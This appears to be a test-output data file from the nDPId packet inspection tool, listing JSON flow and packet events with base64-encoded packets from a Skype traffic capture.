+00443{"flow_id":250,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1705,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":398565,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAOeJAAEAGfjbAqAEiBfi63cPCeSJZV8ukAAAAALAC\/\/9xGAAAAgQFtAEDAwUBAQgKPiOjQAAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1706,"source":"skype.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":1,"flow_first_seen":1431969714399,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"86.31.35.30","src_port":50115,"dst_port":59621,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":251,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1706,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":399341,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAMoNAAEAGzS3AqAEiVh8jHsPD6OVaW8KbAAAAALAC\/\/9Q8QAAAgQFtAEDAwUBAQgKPiOjQAAAAAAEAgAA"} +00437{"flow_id":251,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1718,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":471352,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8OCJAAHEGlpJWHyMewKgBIujlw8M6uTMdWlvCnKASIADQQwAAAgQFrAEDAwgEAggKABoDtj4jo0A="} +00425{"flow_id":251,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1719,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":471444,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0C5pAAEAG9CLAqAEiVh8jHsPD6OVaW8KcOrkzHoAQECwOlQAAAQEICj4jo4gAGgO2"} +00550{"flow_id":251,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1720,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":471978,"pkt_caplen":155,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":155,"pkt_l4_len":121,"pkt":"0NQSxnP1PBXCt3IOCABFAACNbglAAEAGkVrAqAEiVh8jHsPD6OVaW8KcOrkzHoAYECxeQgAAAQEICj4jo4gAGgO2UOp8+5ILQyXm\/CGOm+2rS5B01onz8G0E2NNPF2ckqGQnTAMUByRzRf\/gdUpBUaV3S4DxboeMjVqDWOkGP+QFcrsw4Z73PH2K8wjZNq+U9aIr4NHOZ+xtumM="} +00441{"flow_id":250,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1721,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":516862,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABAzQFAAHIGuRYF+LrdwKgBInkiw8JDt9yLWVfLpbASRBDtIwAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00426{"flow_id":250,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1722,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":516965,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0avhAAEAGTSzAqAEiBfi63cPCeSJZV8ulQ7fcjIAQECx\/8gAAAQEICj4jo7UAAAAA"} +00509{"flow_id":250,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1723,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":517521,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABwt4BAAEAGAGjAqAEiBfi63cPCeSJZV8ulQ7fcjIAYECzzIgAAAQEICj4jo7UAAAAAOmaHPcLlzqlkotjFhO8c40Ctk\/3OmKWcTFwpbjDB0+P5at\/tYbOl4dELKemEbcS+QkuA8W6HjI1ag1jp"} +00536{"flow_id":251,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1724,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":548517,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDOCRAAHEGlklWHyMewKgBIujlw8M6uTMeWlvC9YAYAQJWlQAAAQEICgAaA70+I6OINwE+ikejrPxiKCk6zuszHQcEdsEuQCiiIwhINaTMDb0KH9CG+T9M5RCaxWV7BENSDdoD2GmGv2SF8juwYR53vP0Kc4hZti8UdSKrYFFO5w=="} +00425{"flow_id":251,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1725,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":548636,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0sHRAAEAGT0jAqAEiVh8jHsPD6OVaW8L1OrkzbYAQECkNnQAAAQEICj4jo9QAGgO9"} +00437{"flow_id":251,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1726,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":549243,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8LflAAEAG0bvAqAEiVh8jHsPD6OVaW8L1OrkzbYAYECmonQAAAQEICj4jo9QAGgO9IXsnOyU+9vo="} +00444{"flow_id":249,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1730,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":616774,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABA9bZAAHMGAH5H7gfLwKgBIklPw8GfDHVAvqdd97AS\/\/\/meAAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00425{"flow_id":249,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1731,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":616877,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA092tAAEAGMdXAqAEiR+4Hy8PBSU++p133nwx1QYAQECw01gAAAQEICj4jpBYAAAAA"} +00512{"flow_id":249,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1732,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":617429,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxyYVAAEAGX37AqAEiR+4Hy8PBSU++p133nwx1QYAYECygpgAAAQEICj4jpBYAAAAAI4dT+IndJ5D2lVyspq7VRHzUkZ4vrKQrxd0XZuU\/WUg1xhmsEikAFOzsd8RKqvtnd7z9CnOIWbYvFHUiqw=="} +00496{"flow_id":250,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1735,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":632845,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"PBXCt3IO0NQSxnP1CABFAABlzQ5AAHIGuOQF+LrdwKgBInkiw8JDt9yMWVfL4YAYQ9RfgQAAAQEICgAAbrI+I6O1P3P8ITQzqsFyBarNjdLSsnqA8X8eeSq1nwHOHZtGNqSB9nFXmnNp\/GC275bcDchsBQ=="} +00425{"flow_id":250,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1736,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":632948,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0fEFAAEAGO+PAqAEiBfi63cPCeSJZV8vhQ7fcvYAQECoQZAAAAQEICj4jpCYAAG6y"} +00438{"flow_id":250,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1737,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":633501,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8vZxAAEAG+n\/AqAEiBfi63cPCeSJZV8vhQ7fcvYAYECrLtAAAAQEICj4jpCYAAG6yvouwwfuK2cY="} +00437{"flow_id":248,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1742,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":686786,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAAC4GnURMp6EGwKgBIk8yw8Ds1RmabJsu76AScSD0JwAAAgQFrAQCCAq+oN5GPiOjPwEDAwc="} +00426{"flow_id":248,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1743,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":686907,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA08xxAAEAGmC\/AqAEiTKehBsPATzJsmy7v7NUZm4AQECyCxgAAAQEICj4jpFm+oN5G"} +00533{"flow_id":248,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1744,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":687525,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"0NQSxnP1PBXCt3IOCABFAACBbmRAAEAGHJvAqAEiTKehBsPATzJsmy7v7NUZm4AYECz+QwAAAQEICj4jpFm+oN5GPdupgk\/vJ+FOmIyixigyQkcRv9dUuINLFJ8sQeh34b+ml19qM2aELhPHkvsXD3cHeVZPtJXCywBx7gcMDdoD2GmGv2SF8juwYR53vP0="} +00409{"flow_id":235,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1745,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":738866,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAobewAAEARiWXAqAEiwKgBAdMzFOcAFCBsAAEAADLdMt0AAA4Q"} +00449{"flow_id":236,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1746,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":741057,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABEBYQAAEAB8QHAqAEBwKgBIgMDgJYAAAAARQAAKG3sAABAEYllwKgBIsCoAQHTMxTnABQgbAABAAAy3TLdAAAOEA=="} +00577{"flow_id":249,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1749,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":835749,"pkt_caplen":173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":173,"pkt_l4_len":139,"pkt":"PBXCt3IO0NQSxnP1CABFAACf9cNAAHMGABJH7gfLwKgBIklPw8GfDHVBvqdeNIAY\/8I0CQAAAQEICgMco4A+I6QWyMQyGiG2r\/3uU2msM480Vm6KX6\/LsMHE37hgwVCkrulVFxF93a9bT+pbtinMot1EjVqDWOkGP+QFcrsw4Z73PH2K8wjZNq+U9aIr4NHOZ+xtumO4yWYfROXSm5DB\/tecXerTaLmWj\/TVAgs="} +00425{"flow_id":249,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1750,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":835852,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ot1AAEAGhmPAqAEiR+4Hy8PBSU++p140nwx1rIAQECiMvgAAAQEICj4jpO0DHKOA"} +00438{"flow_id":249,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1751,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":836395,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8F7BAAEAGEYnAqAEiR+4Hy8PBSU++p140nwx1rIAYECgfQQAAAQEICj4jpO0DHKOA72ydd\/Dm76E="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1755,"source":"skype.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":1,"flow_first_seen":1431969714902,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"81.83.77.141","src_port":50116,"dst_port":17639,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":252,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1755,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":902925,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA9lxAAEAG47DAqAEiUVNNjcPEROe9aVYgAAAAALAC\/\/\/WyQAAAgQFtAEDAwUBAQgKPiOlLwAAAAAEAgAA"} +00537{"flow_id":216,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1756,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":912892,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDsolAADcGEbZv3U2OwKgBIgG7w6e9PNNvS9U9YIAYAB0gaQAAAQEICk2Mcqg+I2GYFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00410{"flow_id":216,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1757,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":913003,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoiKNAAEAGMvfAqAEib91NjsOnAbtL1T1gAAAAAFAEAADiEgAA"} +00617{"flow_id":243,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1758,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":913089,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"PBXCt3IOxCwDBkn+CABFAADBTP4AAP8Ryy3AqAFc4AAA+xTpFOkArS1IAAAAAAAEAAMAAAAAC19hZnBvdmVydGNwBF90Y3AFbG9jYWwAAAwAAQRfc21iwBgADAABBF9yZmLAGAAMAAEGX2FkaXNrwBgADAABwAwADAABAAAPuwAWE0x1Y2HigJlzIE1hY0Jvb2tQcm\/ADMAMAAwAAQAADA0AEA1MdWNh4oCZcyBpTWFjwAzAKAAMAAEAAAwNABANTHVjYeKAmXMgaU1hY8Ao"} +00650{"flow_id":244,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1759,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":913870,"pkt_caplen":227,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":227,"pkt_l4_len":173,"pkt":"MzMAAAD7xCwDBkn+ht1gAU9NAK0R\/\/6AAAAAAAAAxiwD\/\/4GSf7\/AgAAAAAAAAAAAAAAAAD7FOkU6QCtv5gAAAAAAAQAAwAAAAALX2FmcG92ZXJ0Y3AEX3RjcAVsb2NhbAAADAABBF9zbWLAGAAMAAEEX3JmYsAYAAwAAQZfYWRpc2vAGAAMAAHADAAMAAEAAA+7ABYTTHVjYeKAmXMgTWFjQm9va1Byb8AMwAwADAABAAAMDQAQDUx1Y2HigJlzIGlNYWPADMAoAAwAAQAADA0AEA1MdWNh4oCZcyBpTWFjwCg="} +00437{"flow_id":252,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1760,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":962808,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8ec1AAHQGLERRU02NwKgBIkTnw8TZuiW6vWlWIaASIAAuPAAAAgQFrAEDAwgEAggKALqZVz4jpS8="} +00425{"flow_id":252,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1761,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":962928,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0PRZAAEAGnQPAqAEiUVNNjcPEROe9aVYh2bolu4AQECxsmQAAAQEICj4jpWsAuplX"} +00558{"flow_id":252,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1762,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":963477,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"0NQSxnP1PBXCt3IOCABFAACUiuZAAEAGTtPAqAEiUVNNjcPEROe9aVYh2bolu4AYECwRmAAAAQEICj4jpWsAuplXCCntTHCAUOPtlk2W1uP\/4V5VXtvSArVfLzHVkoAemwfcpgRnzNQ95SzgBts8VGpaWOkGP+QFcrsw4Z73PH2K8wjZNq+U9aIr4NHOZ+xtumO4yWYfROXSm5DB\/tecXerT"} +00425{"flow_id":248,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1763,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":975671,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0xvpAAC8G1VFMp6EGwKgBIk8yw8Ds1RmbbJsvPIAQAOOQpQAAAQEICr6g32M+I6RZ"} +00566{"flow_id":248,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1764,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":975678,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"PBXCt3IO0NQSxnP1CABFAACZxvtAAC8G1OtMp6EGwKgBIk8yw8Ds1RmbbJsvPIAYAOOzRQAAAQEICr6g32Q+I6RZVF6hvvNTpXGxmCfhPjGAdoentonVfK3GNewpYYqPxNFZGM\/LBAuZG5ipU7awlE9eLK36o\/gJpl+EJRLb0AE+F9ydKhOo+dbPNBVCS4DxboeMjVqDWOkGP+QFcrsw4Z73PH2K8wg="} +00426{"flow_id":248,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1765,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":975795,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0cJVAAEAGGrfAqAEiTKehBsPATzJsmy887NUaAIAQECh\/3AAAAQEICj4jpXe+oN9k"} +00437{"flow_id":248,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1766,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":976421,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8inhAAEAGAMzAqAEiTKehBsPATzJsmy887NUaAIAYECg4EQAAAQEICj4jpXe+oN9kxXgAHFm0KHI="} +00521{"flow_id":252,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1771,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":26168,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"PBXCt3IO0NQSxnP1CABFAAB3edJAAHQGLARRU02NwKgBIkTnw8TZuiW7vWlWgYAYAQImYgAAAQEICgC6mV0+I6VrXK3rI5oDMkfn5SpY4a\/eHF83ge1xhet1RW91deXnylNNuFmDelNmA6LM6ROK6BseGKnG\/6TFMnvwoV63\/D1Ks8iZ9g=="} +00425{"flow_id":252,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1772,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":26246,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0wjJAAEAGF+fAqAEiUVNNjcPEROe9aVaB2bol\/oAQEClrtgAAAQEICj4jpagAupld"} +00438{"flow_id":252,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1773,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":26820,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA82aBAAEAGAHHAqAEiUVNNjcPEROe9aVaB2bol\/oAYEClldgAAAQEICj4jpagAupldFs\/7EKwgSC8="} +00436{"flow_id":251,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1776,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":89413,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8kd5AAEAGbdbAqAEiVh8jHsPD6OVaW8L1OrkzbYAYECmmjAAAAQEICj4jpeUAGgO9IXsnOyU+9vo="} +00438{"flow_id":227,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1777,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":118606,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8PzZAAEAG4hHAqAEiQAQXpsOznFablHVW59gF64AZECoaNgAAAQEICj4jpgJMP03dvRFcC9M5aYU="} +00437{"flow_id":250,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1778,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":139773,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Dv5AAEAGqR7AqAEiBfi63cPCeSJZV8vhQ7fcvYAYECrJwwAAAQEICj4jphcAAG6yvouwwfuK2cY="} +00439{"flow_id":252,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1783,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969715,"pkt_ts_usec":383586,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8bUFAAEAGbNDAqAEiUVNNjcPEROe9aVaB2bol\/oAYEClkFgAAAQEICj4jpwgAupldFs\/7EKwgSC8="} 